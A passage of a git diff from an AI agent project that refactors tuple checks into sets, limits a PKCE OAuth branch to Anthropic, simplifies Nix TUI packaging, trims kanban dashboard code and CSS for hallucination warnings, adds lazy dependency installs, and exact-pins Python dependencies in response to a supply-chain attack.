sess["status"] = "error" + sess["error_message"] = str(e) + + def _codex_full_login_worker(session_id: str) -> None: """Run the complete OpenAI Codex device-code flow. @@ -2025,7 +2202,7 @@ def _codex_full_login_worker(session_id: str) -> None: if poll.status_code == 200: code_resp = poll.json() break - if poll.status_code in (403, 404): + if poll.status_code in {403, 404}: continue # user hasn't authorized yet raise RuntimeError(f"deviceauth/token poll returned {poll.status_code}") @@ -2112,7 +2289,13 @@ async def start_oauth_login(provider_id: str, request: Request): detail=f"{provider_id} uses an external CLI; run `{catalog_entry['cli_command']}` manually", ) try: - if catalog_entry["flow"] == "pkce": + # The pkce branch is gated on provider_id == "anthropic" because + # `_start_anthropic_pkce()` is hardcoded to the Anthropic flow. + # Routing any other future pkce-flagged provider through it would + # silently launch the Anthropic OAuth flow (the bug fixed in this + # change for MiniMax). New PKCE providers must add their own + # start function and an explicit branch here. + if catalog_entry["flow"] == "pkce" and provider_id == "anthropic": return _start_anthropic_pkce() if catalog_entry["flow"] == "device_code": return await _start_device_code_flow(provider_id) @@ -3004,7 +3187,7 @@ class PtyUnavailableError(RuntimeError): # type: ignore[no-redef] def _is_public_bind() -> bool: """True when bound to all-interfaces (operator used --insecure).""" - return getattr(app.state, "bound_host", "") in ("0.0.0.0", "::") + return getattr(app.state, "bound_host", "") in {"0.0.0.0", "::"} def _ws_client_is_allowed(ws: "WebSocket") -> bool: @@ -3586,7 +3769,7 @@ def _layer(key: str, default_hex: str, default_alpha: float = 1.0) -> Dict[str, if isinstance(radius, str) and radius.strip(): layout["radius"] = radius density = layout_src.get("density") - if isinstance(density, str) and density in ("compact", "comfortable", "spacious"): + if isinstance(density, str) and density in {"compact", "comfortable", "spacious"}: layout["density"] = density # Color overrides — keep only valid keys with string values. @@ -3919,7 +4102,7 @@ def _merged_plugins_hub() -> Dict[str, Any]: pass can_remove_update = ( - source in ("user", "git") and under_user_tree and Path(dir_str).is_dir() + source in {"user", "git"} and under_user_tree and Path(dir_str).is_dir() ) # Check if this plugin provides tools that require auth diff --git a/hermes_cli/webhook.py b/hermes_cli/webhook.py index 4b74204bcc4d..621acc82e27c 100644 --- a/hermes_cli/webhook.py +++ b/hermes_cli/webhook.py @@ -124,11 +124,11 @@ def webhook_command(args): if not _require_webhook_enabled(): return - if sub in ("subscribe", "add"): + if sub in {"subscribe", "add"}: _cmd_subscribe(args) - elif sub in ("list", "ls"): + elif sub in {"list", "ls"}: _cmd_list(args) - elif sub in ("remove", "rm"): + elif sub in {"remove", "rm"}: _cmd_remove(args) elif sub == "test": _cmd_test(args) diff --git a/hermes_state.py b/hermes_state.py index 7fdf875c30f6..adbdff19ac96 100644 --- a/hermes_state.py +++ b/hermes_state.py @@ -1967,7 +1967,7 @@ def search_messages( # Route to LIKE when any non-operator CJK token is <3 CJK chars. _tokens_for_check = [ t for t in raw_query.split() - if t.upper() not in ("AND", "OR", "NOT") and self._contains_cjk(t) + if t.upper() not in {"AND", "OR", "NOT"} and self._contains_cjk(t) ] _any_short_cjk = any( self._count_cjk(t) < 3 for t in _tokens_for_check @@ -1980,7 +1980,7 @@ def search_messages( tokens = raw_query.split() parts = [] for tok in tokens: - if tok.upper() in ("AND", "OR", "NOT"): + if tok.upper() in {"AND", "OR", "NOT"}: parts.append(tok) else: parts.append('"' + tok.replace('"', '""') + '"') @@ -2031,7 +2031,7 @@ def search_messages( # is matched independently (#20494). non_op_tokens = [ t for t in raw_query.split() - if t.upper() not in ("AND", "OR", "NOT") + if t.upper() not in {"AND", "OR", "NOT"} ] or [raw_query] token_clauses = [] like_params: list = [] @@ -2337,7 +2337,7 @@ def _do(conn): "SELECT id FROM sessions WHERE started_at < ? AND ended_at IS NOT NULL", (cutoff,), ) - session_ids = set(row["id"] for row in cursor.fetchall()) + session_ids = {row["id"] for row in cursor.fetchall()} if not session_ids: return 0 diff --git a/mcp_serve.py b/mcp_serve.py index d10306fb5c7d..5ae0261d9af7 100644 --- a/mcp_serve.py +++ b/mcp_serve.py @@ -169,7 +169,7 @@ def _extract_attachments(msg: dict) -> List[dict]: url = part.get("url", part.get("source", {}).get("url", "")) if url: attachments.append({"type": "image", "url": url}) - elif ptype not in ("text",): + elif ptype not in {"text",}: # Unknown non-text content type attachments.append({"type": ptype, "data": part}) @@ -414,7 +414,7 @@ def _ts_float(ts) -> float: for msg in messages: ts = _ts_float(msg.get("timestamp", 0)) role = msg.get("role", "") - if role not in ("user", "assistant"): + if role not in {"user", "assistant"}: continue if ts > last_seen: new_messages.append(msg) @@ -594,7 +594,7 @@ def messages_read( filtered = [] for msg in all_messages: role = msg.get("role", "") - if role in ("user", "assistant"): + if role in {"user", "assistant"}: content = _extract_message_content(msg) if content: filtered.append({ @@ -847,7 +847,7 @@ def permissions_respond( id: The approval ID from permissions_list_open decision: One of "allow-once", "allow-always", or "deny" """ - if decision not in ("allow-once", "allow-always", "deny"): + if decision not in {"allow-once", "allow-always", "deny"}: return json.dumps({ "error": f"Invalid decision: {decision}. " f"Must be allow-once, allow-always, or deny" diff --git a/model_tools.py b/model_tools.py index 253cf02fe8d2..0b9178111a50 100644 --- a/model_tools.py +++ b/model_tools.py @@ -353,9 +353,8 @@ def _compute_tool_definitions( tools_to_include.update(legacy_tools) if not quiet_mode: print(f"✅ Enabled legacy toolset '{toolset_name}': {', '.join(legacy_tools)}") - else: - if not quiet_mode: - print(f"⚠️ Unknown toolset: {toolset_name}") + elif not quiet_mode: + print(f"⚠️ Unknown toolset: {toolset_name}") else: # Default: start with everything from toolsets import get_all_toolsets @@ -378,9 +377,8 @@ def _compute_tool_definitions( tools_to_include.difference_update(legacy_tools) if not quiet_mode: print(f"🚫 Disabled legacy toolset '{toolset_name}': {', '.join(legacy_tools)}") - else: - if not quiet_mode: - print(f"⚠️ Unknown toolset: {toolset_name}") + elif not quiet_mode: + print(f"⚠️ Unknown toolset: {toolset_name}") # Plugin-registered tools are now resolved through the normal toolset # path — validate_toolset() / resolve_toolset() / get_all_toolsets() @@ -600,7 +598,7 @@ def _coerce_value(value: str, expected_type, schema: dict | None = None): return result return value - if expected_type in ("integer", "number"): + if expected_type in {"integer", "number"}: return _coerce_number(value, integer_only=(expected_type == "integer")) if expected_type == "boolean": return _coerce_boolean(value) diff --git a/nix/checks.nix b/nix/checks.nix index 2bd4f642bbde..49955a6c5fd9 100644 --- a/nix/checks.nix +++ b/nix/checks.nix @@ -154,8 +154,7 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2) test -f ${hermes-agent}/ui-tui/dist/entry.js || (echo "FAIL: compiled entry.js missing"; exit 1) echo "PASS: compiled entry.js present" - test -d ${hermes-agent}/ui-tui/node_modules || (echo "FAIL: node_modules missing"; exit 1) - echo "PASS: node_modules present" + # self-contained bundle; no runtime node_modules expected grep -q "HERMES_TUI_DIR" ${hermes-agent}/bin/hermes || \ (echo "FAIL: HERMES_TUI_DIR not in wrapper"; exit 1) diff --git a/nix/tui.nix b/nix/tui.nix index 9ad63378da36..b64e8d21fc22 100644 --- a/nix/tui.nix +++ b/nix/tui.nix @@ -4,7 +4,7 @@ let src = ../ui-tui; npmDeps = pkgs.fetchNpmDeps { inherit src; - hash = "sha256-MLcLhjTF6dgdvNBtJWzo8Nh19eNh/ZitD2b07nm61Tc="; + hash = "sha256-9r1EYQ600gNXOnNXwakorpEk7hS/FPxZVbB2JksrhYs="; }; npm = hermesNpmLib.mkNpmPassthru { folder = "ui-tui"; attr = "tui"; pname = "hermes-tui"; }; @@ -24,16 +24,10 @@ pkgs.buildNpmPackage (npm // { mkdir -p $out/lib/hermes-tui + # Single self-contained bundle built by scripts/build.mjs (esbuild). cp -r dist $out/lib/hermes-tui/dist - # runtime node_modules - cp -r node_modules $out/lib/hermes-tui/node_modules - - # @hermes/ink is a file: dependency, we need to copy it in fr - rm -f $out/lib/hermes-tui/node_modules/@hermes/ink - cp -r packages/hermes-ink $out/lib/hermes-tui/node_modules/@hermes/ink - - # package.json needed for "type": "module" resolution + # package.json kept for "type": "module" resolution on `node dist/entry.js`. cp package.json $out/lib/hermes-tui/ runHook postInstall diff --git a/plugins/kanban/dashboard/dist/index.js b/plugins/kanban/dashboard/dist/index.js index 4964d68fd768..720cdb9e1e22 100644 --- a/plugins/kanban/dashboard/dist/index.js +++ b/plugins/kanban/dashboard/dist/index.js @@ -151,40 +151,6 @@ return Object.assign({}, patch, { result: summary, summary }); } - // Diagnostic kind labels for the events-tab callout. Event kinds emitted - // by the kernel get a human-readable header when we detect them in the - // events list; add new entries here as new diagnostic event kinds land. - const DIAGNOSTIC_EVENT_LABELS = { - completion_blocked_hallucination: "⚠ Completion blocked — phantom card ids", - suspected_hallucinated_references: "⚠ Prose referenced phantom card ids", - }; - - function isDiagnosticEvent(kind) { - return Object.prototype.hasOwnProperty.call(DIAGNOSTIC_EVENT_LABELS, kind); - } - - function phantomIdsFromEvent(ev) { - if (!ev || !ev.payload) return []; - const p = ev.payload; - return p.phantom_cards || p.phantom_refs || []; - } - - function withCompletionSummary(patch, count) { - if (!patch || patch.status !== "done") return patch; - const label = count && count > 1 ? `${count} selected task(s)` : "this task"; - const value = window.prompt( - `Completion summary for ${label}. This is stored as the task result.`, - "", - ); - if (value === null) return null; - const summary = value.trim(); - if (!summary) { - window.alert("Completion summary is required before marking a task done."); - return null; - } - return Object.assign({}, patch, { result: summary, summary }); - } - const API = "/api/plugins/kanban"; const MIME_TASK = "text/x-hermes-task"; @@ -1932,7 +1898,7 @@ type: "checkbox", className: "hermes-kanban-col-check", title: "Select all tasks in this column", - "aria-label": `Select all tasks in ${COLUMN_LABEL[props.column.name] || props.column.name}`, + "aria-label": `Select all tasks in ${colLabel || props.column.name}`, checked: props.column.tasks.length > 0 && props.column.tasks.every(function (t) { return props.selectedIds.has(t.id); }), onChange: function (e) { e.stopPropagation(); diff --git a/plugins/kanban/dashboard/dist/style.css b/plugins/kanban/dashboard/dist/style.css index 76aebe3ff91e..3bcfccb289b5 100644 --- a/plugins/kanban/dashboard/dist/style.css +++ b/plugins/kanban/dashboard/dist/style.css @@ -1490,506 +1490,3 @@ font-size: 0.7rem; cursor: pointer; } - -/* ------------------------------------------------------------------------- - Multi-project: board switcher + create-board dialog - ------------------------------------------------------------------------- */ -.hermes-kanban-boardswitcher { - border: 1px solid var(--color-border, rgba(120, 120, 140, 0.25)); - border-radius: 0.5rem; - padding: 0.6rem 0.85rem; - background: var(--color-card-subtle, rgba(255, 255, 255, 0.02)); -} -.hermes-kanban-boardswitcher-inner { - display: flex; - align-items: flex-end; - gap: 0.75rem; - flex-wrap: wrap; -} -.hermes-kanban-boardswitcher-compact { - display: flex; - justify-content: flex-end; - padding: 0 0.25rem; - gap: 0.5rem; - align-items: center; -} -.hermes-kanban-docs-link { - display: inline-flex; - align-items: center; - justify-content: center; - width: 1.5rem; - height: 1.5rem; - border-radius: 9999px; - font-size: 0.75rem; - font-weight: 600; - line-height: 1; - color: var(--color-muted-foreground, rgba(180, 180, 200, 0.8)); - background: var(--color-card-subtle, rgba(255, 255, 255, 0.04)); - border: 1px solid var(--color-border, rgba(120, 120, 140, 0.25)); - text-decoration: none; - cursor: help; - transition: color 0.15s, background 0.15s, border-color 0.15s; -} -.hermes-kanban-docs-link:hover, -.hermes-kanban-docs-link:focus-visible { - color: var(--color-foreground, #e7e7ee); - background: var(--color-card, rgba(255, 255, 255, 0.08)); - border-color: var(--color-border, rgba(160, 160, 190, 0.45)); - outline: none; -} -.hermes-kanban-dialog-backdrop { - position: fixed; - inset: 0; - background: rgba(8, 10, 16, 0.55); - backdrop-filter: blur(2px); - z-index: 60; - display: flex; - align-items: center; - justify-content: center; -} -.hermes-kanban-dialog { - background: var(--color-card, #121421); - color: var(--color-foreground); - border: 1px solid var(--color-border, rgba(120, 120, 140, 0.25)); - border-radius: 0.5rem; - padding: 1.1rem 1.2rem 1rem; - width: 28rem; - max-width: calc(100vw - 2rem); - max-height: calc(100vh - 3rem); - overflow: auto; - box-shadow: 0 18px 40px rgba(0, 0, 0, 0.5); -} -.hermes-kanban-dialog-title { - font-size: 1rem; - font-weight: 600; - margin-bottom: 0.25rem; -} -.hermes-kanban-dialog-actions { - display: flex; - justify-content: flex-end; - gap: 0.5rem; - margin-top: 1rem; -} - -/* ---------------------------------------------------------------------- */ -/* Hallucination warnings: per-card badge, events callout, attention */ -/* strip, recovery popover. Orange/red palette but muted so the board */ -/* doesn't scream on every render. */ -/* ---------------------------------------------------------------------- */ -.hermes-kanban-warning-badge { - display: inline-flex; - align-items: center; - justify-content: center; - font-size: 0.75rem; - color: #ff9e3b; - margin-left: 0.25rem; - cursor: help; -} - -/* Attention strip — collapsed state is a thin bar. */ -.hermes-kanban-attention { - border: 1px solid rgba(255, 158, 59, 0.35); - background: rgba(255, 158, 59, 0.06); - border-radius: 0.5rem; - overflow: hidden; -} -.hermes-kanban-attention-bar { - display: flex; - align-items: center; - gap: 0.5rem; - padding: 0.4rem 0.75rem; - font-size: 0.8125rem; -} -.hermes-kanban-attention-icon { color: #ff9e3b; font-size: 1rem; } -.hermes-kanban-attention-text { flex: 1; } -.hermes-kanban-attention-toggle, -.hermes-kanban-attention-dismiss, -.hermes-kanban-attention-row-btn { - background: transparent; - border: 1px solid rgba(120, 120, 140, 0.3); - border-radius: 0.3rem; - padding: 0.15rem 0.55rem; - font-size: 0.75rem; - color: inherit; - cursor: pointer; -} -.hermes-kanban-attention-toggle:hover, -.hermes-kanban-attention-dismiss:hover, -.hermes-kanban-attention-row-btn:hover { - background: rgba(255, 158, 59, 0.12); -} -.hermes-kanban-attention-list { - border-top: 1px solid rgba(255, 158, 59, 0.2); - padding: 0.25rem 0; -} -.hermes-kanban-attention-row { - display: flex; - align-items: center; - gap: 0.5rem; - padding: 0.3rem 0.75rem; - font-size: 0.8125rem; -} -.hermes-kanban-attention-row:hover { - background: rgba(255, 158, 59, 0.08); -} -.hermes-kanban-attention-row-id { - font-family: ui-monospace, SFMono-Regular, monospace; - font-size: 0.75rem; - color: var(--color-muted-foreground, #888); - min-width: 7rem; -} -.hermes-kanban-attention-row-title { - flex: 1; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} -.hermes-kanban-attention-row-meta { - font-size: 0.75rem; - color: var(--color-muted-foreground, #888); -} - -/* Events tab — callout style for hallucination events. */ -.hermes-kanban-event--hallucination { - border-left: 3px solid #ff6b6b; - background: rgba(255, 107, 107, 0.08); - padding: 0.5rem 0.65rem; - border-radius: 0.35rem; - margin: 0.25rem 0; -} -.hermes-kanban-event-header, -.hermes-kanban-event-header-plain { - display: flex; - align-items: center; - gap: 0.5rem; -} -.hermes-kanban-event-warning-icon { color: #ff6b6b; font-size: 1rem; } -.hermes-kanban-event-warning-label { - color: #ff6b6b; - font-weight: 600; - font-size: 0.8125rem; -} -.hermes-kanban-event-phantom-row { - display: flex; - align-items: center; - gap: 0.4rem; - flex-wrap: wrap; - margin-top: 0.3rem; - padding-left: 1.35rem; -} -.hermes-kanban-event-phantom-label { - font-size: 0.75rem; - color: var(--color-muted-foreground, #999); -} -.hermes-kanban-event-phantom-chip { - font-family: ui-monospace, SFMono-Regular, monospace; - font-size: 0.75rem; - padding: 0.1rem 0.4rem; - background: rgba(255, 107, 107, 0.15); - border: 1px solid rgba(255, 107, 107, 0.3); - border-radius: 0.3rem; -} - -/* Recovery section header — amber accent when the task has warnings. */ -.hermes-kanban-section-head-warning { color: #ff9e3b; } -.hermes-kanban-section-head-row { - display: flex; - align-items: center; - justify-content: space-between; - gap: 0.5rem; -} -.hermes-kanban-section-toggle { - background: transparent; - border: 1px solid rgba(120, 120, 140, 0.3); - border-radius: 0.3rem; - padding: 0.15rem 0.55rem; - font-size: 0.75rem; - color: inherit; - cursor: pointer; -} - -/* Recovery popover body. */ -.hermes-kanban-recovery { - border: 1px solid rgba(120, 120, 140, 0.25); - background: rgba(255, 158, 59, 0.04); - border-radius: 0.5rem; - padding: 0.75rem; - display: flex; - flex-direction: column; - gap: 0.75rem; -} -.hermes-kanban-recovery-title { - font-weight: 600; - font-size: 0.8125rem; -} -.hermes-kanban-recovery-hint { - font-size: 0.75rem; - color: var(--color-muted-foreground, #888); - line-height: 1.35; -} -.hermes-kanban-recovery-section { - display: flex; - flex-direction: column; - gap: 0.35rem; -} -.hermes-kanban-recovery-label { - font-size: 0.75rem; - color: var(--color-muted-foreground, #888); -} -.hermes-kanban-recovery-input, -.hermes-kanban-recovery-select { - padding: 0.25rem 0.4rem; - font-size: 0.8125rem; - background: rgba(0, 0, 0, 0.15); - border: 1px solid rgba(120, 120, 140, 0.3); - border-radius: 0.3rem; - color: inherit; - outline: none; -} -.hermes-kanban-recovery-action-row { - display: flex; - align-items: center; - gap: 0.5rem; - flex-wrap: wrap; -} -.hermes-kanban-recovery-action-label { - font-size: 0.8125rem; - font-weight: 600; - min-width: 8rem; -} -.hermes-kanban-recovery-action-desc { - flex: 1; - font-size: 0.75rem; - color: var(--color-muted-foreground, #888); -} -.hermes-kanban-recovery-btn { - padding: 0.25rem 0.7rem; - font-size: 0.75rem; - background: rgba(255, 158, 59, 0.15); - border: 1px solid rgba(255, 158, 59, 0.4); - border-radius: 0.3rem; - color: inherit; - cursor: pointer; -} -.hermes-kanban-recovery-btn:hover:not(:disabled) { - background: rgba(255, 158, 59, 0.25); -} -.hermes-kanban-recovery-btn:disabled { - opacity: 0.4; - cursor: not-allowed; -} -.hermes-kanban-recovery-reassign-row { - display: flex; - align-items: center; - gap: 0.5rem; - flex-wrap: wrap; -} -.hermes-kanban-recovery-checkbox { - font-size: 0.75rem; - display: inline-flex; - align-items: center; - gap: 0.25rem; -} -.hermes-kanban-recovery-cmd-row { - display: flex; - align-items: center; - gap: 0.5rem; - flex-wrap: wrap; -} -.hermes-kanban-recovery-cmd { - font-family: ui-monospace, SFMono-Regular, monospace; - font-size: 0.75rem; - padding: 0.2rem 0.5rem; - background: rgba(0, 0, 0, 0.2); - border: 1px solid rgba(120, 120, 140, 0.3); - border-radius: 0.3rem; - flex: 1; - min-width: 10rem; - overflow-x: auto; - white-space: nowrap; -} -.hermes-kanban-recovery-msg { - font-size: 0.75rem; - padding: 0.35rem 0.5rem; - border-radius: 0.3rem; -} -.hermes-kanban-recovery-msg--ok { - background: rgba(120, 200, 120, 0.12); - color: #6bc46b; - border: 1px solid rgba(120, 200, 120, 0.3); -} -.hermes-kanban-recovery-msg--err { - background: rgba(255, 107, 107, 0.12); - color: #ff8b8b; - border: 1px solid rgba(255, 107, 107, 0.3); -} - -/* ---------------------------------------------------------------------- */ -/* Diagnostics — generic, severity-coloured distress signals on tasks. */ -/* Three rungs: warning (amber), error (orange), critical (red). */ -/* ---------------------------------------------------------------------- */ - -/* Severity token variables so every diagnostic-coloured surface uses the */ -/* same palette. */ -.hermes-kanban-diag, -.hermes-kanban-attention, -.hermes-kanban-warning-badge, -.hermes-kanban-attention-row { - --hermes-diag-warning: #ff9e3b; - --hermes-diag-error: #ff6b3d; - --hermes-diag-critical: #ff4d4d; -} - -/* Warning-badge severity variants (overrides the base colour). */ -.hermes-kanban-warning-badge--warning { color: var(--hermes-diag-warning); } -.hermes-kanban-warning-badge--error { color: var(--hermes-diag-error); font-weight: 700; } -.hermes-kanban-warning-badge--critical { color: var(--hermes-diag-critical); font-weight: 700; } - -/* Attention-strip severity variants. */ -.hermes-kanban-attention--warning { - border-color: rgba(255, 158, 59, 0.35); - background: rgba(255, 158, 59, 0.06); -} -.hermes-kanban-attention--error { - border-color: rgba(255, 107, 61, 0.45); - background: rgba(255, 107, 61, 0.08); -} -.hermes-kanban-attention--critical { - border-color: rgba(255, 77, 77, 0.55); - background: rgba(255, 77, 77, 0.10); -} -.hermes-kanban-attention--error .hermes-kanban-attention-icon { color: var(--hermes-diag-error); } -.hermes-kanban-attention--critical .hermes-kanban-attention-icon { color: var(--hermes-diag-critical); } - -/* Per-row severity marker in the expanded attention list. */ -.hermes-kanban-attention-row-sev { - display: inline-block; - min-width: 1.5rem; - font-weight: 600; -} -.hermes-kanban-attention-row--warning .hermes-kanban-attention-row-sev { color: var(--hermes-diag-warning); } -.hermes-kanban-attention-row--error .hermes-kanban-attention-row-sev { color: var(--hermes-diag-error); font-weight: 700; } -.hermes-kanban-attention-row--critical .hermes-kanban-attention-row-sev { color: var(--hermes-diag-critical); font-weight: 700; } - -/* Individual diagnostic card inside the drawer's Diagnostics section. */ -.hermes-kanban-diag-list { - display: flex; - flex-direction: column; - gap: 0.6rem; -} -.hermes-kanban-diag { - border-left: 3px solid var(--hermes-diag-warning); - background: rgba(255, 158, 59, 0.05); - border-radius: 0.35rem; - padding: 0.6rem 0.75rem; - display: flex; - flex-direction: column; - gap: 0.4rem; -} -.hermes-kanban-diag--error { - border-left-color: var(--hermes-diag-error); - background: rgba(255, 107, 61, 0.06); -} -.hermes-kanban-diag--critical { - border-left-color: var(--hermes-diag-critical); - background: rgba(255, 77, 77, 0.07); -} -.hermes-kanban-diag-header { - display: flex; - align-items: center; - gap: 0.5rem; -} -.hermes-kanban-diag-sev { - font-weight: 700; - min-width: 1.5rem; -} -.hermes-kanban-diag--warning .hermes-kanban-diag-sev { color: var(--hermes-diag-warning); } -.hermes-kanban-diag--error .hermes-kanban-diag-sev { color: var(--hermes-diag-error); } -.hermes-kanban-diag--critical .hermes-kanban-diag-sev { color: var(--hermes-diag-critical); } -.hermes-kanban-diag-title { - font-weight: 600; - font-size: 0.875rem; -} -.hermes-kanban-diag-detail { - font-size: 0.8125rem; - color: var(--color-foreground, #ccc); - line-height: 1.4; -} -.hermes-kanban-diag-data { - display: flex; - flex-direction: column; - gap: 0.2rem; - font-size: 0.75rem; -} -.hermes-kanban-diag-data-row { - display: flex; - align-items: center; - gap: 0.35rem; - flex-wrap: wrap; -} -.hermes-kanban-diag-data-key { - color: var(--color-muted-foreground, #888); - font-weight: 500; -} -.hermes-kanban-diag-data-val { - font-family: ui-monospace, SFMono-Regular, monospace; -} -.hermes-kanban-diag-reassign-row { - display: flex; - align-items: center; - gap: 0.4rem; - font-size: 0.75rem; -} -.hermes-kanban-diag-reassign-label { - color: var(--color-muted-foreground, #888); -} -.hermes-kanban-diag-actions { - display: flex; - flex-wrap: wrap; - gap: 0.4rem; - margin-top: 0.1rem; -} -.hermes-kanban-diag-action-btn { - padding: 0.25rem 0.6rem; - font-size: 0.75rem; - background: rgba(0, 0, 0, 0.2); - border: 1px solid rgba(120, 120, 140, 0.3); - border-radius: 0.3rem; - color: inherit; - cursor: pointer; - text-decoration: none; -} -.hermes-kanban-diag-action-btn:hover:not(:disabled) { - background: rgba(0, 0, 0, 0.3); -} -.hermes-kanban-diag-action-btn:disabled { - opacity: 0.4; - cursor: not-allowed; -} -.hermes-kanban-diag-action-btn--suggested { - background: rgba(255, 158, 59, 0.15); - border-color: rgba(255, 158, 59, 0.4); - font-weight: 600; -} -.hermes-kanban-diag-action-btn--suggested:hover:not(:disabled) { - background: rgba(255, 158, 59, 0.25); -} -.hermes-kanban-diag-action-btn--unknown { - opacity: 0.6; - cursor: default; -} -.hermes-kanban-diag-msg { - font-size: 0.75rem; - padding: 0.35rem 0.5rem; - border-radius: 0.3rem; -} -.hermes-kanban-diag-msg--ok { - background: rgba(120, 200, 120, 0.12); - color: #6bc46b; - border: 1px solid rgba(120, 200, 120, 0.3); -} -.hermes-kanban-diag-msg--err { - background: rgba(255, 107, 61, 0.12); - color: #ff8b6b; - border: 1px solid rgba(255, 107, 61, 0.3); -} diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index 20772844f16e..3a42a3204533 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -875,6 +875,13 @@ def _get_client(self): "Hindsight local runtime is unavailable" + (f": {reason}" if reason else "") ) + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("memory.hindsight", prompt=False) + except ImportError: + pass + except Exception as _e: + raise ImportError(str(_e)) from hindsight import HindsightEmbedded HindsightEmbedded.__del__ = lambda self: None llm_provider = self._config.get("llm_provider", "") diff --git a/plugins/memory/honcho/client.py b/plugins/memory/honcho/client.py index 7210c6071e8c..612bcd239ce4 100644 --- a/plugins/memory/honcho/client.py +++ b/plugins/memory/honcho/client.py @@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho: "For local instances, set HONCHO_BASE_URL instead." ) + # Lazy-install the honcho SDK on demand. ensure() honors + # security.allow_lazy_installs (default true). On failure we surface + # the original ImportError-shape message so existing callers still get + # the "go run hermes honcho setup" hint they used to. + try: + from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure + _lazy_ensure("memory.honcho", prompt=False) + except ImportError: + # lazy_deps module missing — fall through to the raw import below. + pass + except Exception: + # FeatureUnavailable or unexpected error. Don't crash here; let the + # actual import attempt produce the canonical error message. + pass + try: from honcho import Honcho except ImportError: raise ImportError( "honcho-ai is required for Honcho integration. " - "Install it with: pip install honcho-ai" + "Install it with: pip install honcho-ai " + "(or run `hermes honcho setup` to configure)." ) # Allow config.yaml honcho.base_url to override the SDK's environment diff --git a/pyproject.toml b/pyproject.toml index 1eba1aa16577..68b2a38471b9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -11,84 +11,123 @@ requires-python = ">=3.11" authors = [{ name = "Nous Research" }] license = { text = "MIT" } dependencies = [ - # Core — pinned to known-good ranges to limit supply chain attack surface - "openai>=2.21.0,<3", - "anthropic>=0.39.0,<1", - "python-dotenv>=1.2.1,<2", - "fire>=0.7.1,<1", - "httpx[socks]>=0.28.1,<1", - "rich>=14.3.3,<15", - "tenacity>=9.1.4,<10", - "pyyaml>=6.0.2,<7", - "ruamel.yaml>=0.18.16,<0.19", - "requests>=2.33.0,<3", # CVE-2026-25645 - "jinja2>=3.1.5,<4", - "pydantic>=2.12.5,<3", + # Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges). + # Rationale: ranges allow PyPI to ship a fresh version of a transitive + # at any time without a code review on our side. Exact pins mean the + # only way a new package version reaches a user is via an intentional + # update on our end (bump the pin in this file, regenerate uv.lock). + # This was tightened on 2026-05-12 in response to the Mini Shai-Hulud + # worm hitting mistralai 2.4.6 on PyPI; if that release had been + # captured by `mistralai>=2.3.0,<3` rather than an exact pin, every + # install in the hours before the quarantine would have pulled it. + # + # When updating: bump the version below AND regenerate uv.lock with + # `uv lock` so the transitive resolution stays consistent. Don't + # introduce ranges back without a written justification. + # + # Scope rule: only packages used by EVERY hermes session belong here. + # Anything that's provider-specific (`anthropic`, `firecrawl-py`, + # `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an + # extra and gets lazy-installed via `tools/lazy_deps.py` when the + # user picks that backend. Smaller `dependencies` = smaller blast + # radius for the next supply-chain attack. + "openai==2.24.0", + "python-dotenv==1.2.1", + "fire==0.7.1", + "httpx[socks]==0.28.1", + "rich==14.3.3", + "tenacity==9.1.4", + "pyyaml==6.0.3", + "ruamel.yaml==0.18.17", + "requests==2.33.0", # CVE-2026-25645 + "jinja2==3.1.6", + "pydantic==2.12.5", # Interactive CLI (prompt_toolkit is used directly by cli.py) - "prompt_toolkit>=3.0.52,<4", - # Tools - "exa-py>=2.9.0,<3", - "firecrawl-py>=4.16.0,<5", - "parallel-web>=0.4.2,<1", - "fal-client>=0.13.1,<1", + "prompt_toolkit==3.0.52", # Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter). - "croniter>=6.0.0,<7", - # Text-to-speech (Edge TTS is free, no API key needed) - "edge-tts>=7.2.7,<8", + "croniter==6.0.0", # Skills Hub (GitHub App JWT auth — optional, only needed for bot identity) - "PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597 + "PyJWT[crypto]==2.12.1", # CVE-2026-32597 # Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo`` # (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone # out of the box. ``tzdata`` ships the Olson database as a data package # Python resolves automatically. No-op on Linux/macOS (which have # /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24). - "tzdata>=2023.3; sys_platform == 'win32'", + "tzdata==2025.3; sys_platform == 'win32'", # Cross-platform process / PID management. `psutil` is the canonical # answer for "is this PID alive" and process-tree walking across Linux, # macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)` # (which is a silent killer on Windows — see CONTRIBUTING.md) and # `os.killpg` (which doesn't exist on Windows). - "psutil>=5.9.0,<8", + "psutil==7.2.2", ] [project.optional-dependencies] -modal = ["modal>=1.0.0,<2"] -daytona = ["daytona>=0.148.0,<1"] -vercel = ["vercel>=0.5.7,<0.6.0"] -hindsight = ["hindsight-client>=0.4.22"] -dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"] -messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"] +# Native Anthropic provider — only needed when provider=anthropic (not via +# OpenRouter or other aggregators). +anthropic = ["anthropic==0.86.0"] +# Web search backends — each only loaded when the user picks it as their +# search provider (configured via `hermes tools` or config.yaml). +exa = ["exa-py==2.10.2"] +firecrawl = ["firecrawl-py==4.17.0"] +parallel-web = ["parallel-web==0.4.2"] +# Image generation backends +fal = ["fal-client==0.13.1"] +# Edge TTS — default TTS provider but still optional (users can pick +# ElevenLabs / OpenAI / MiniMax instead). +edge-tts = ["edge-tts==7.2.7"] +modal = ["modal==1.3.4"] +daytona = 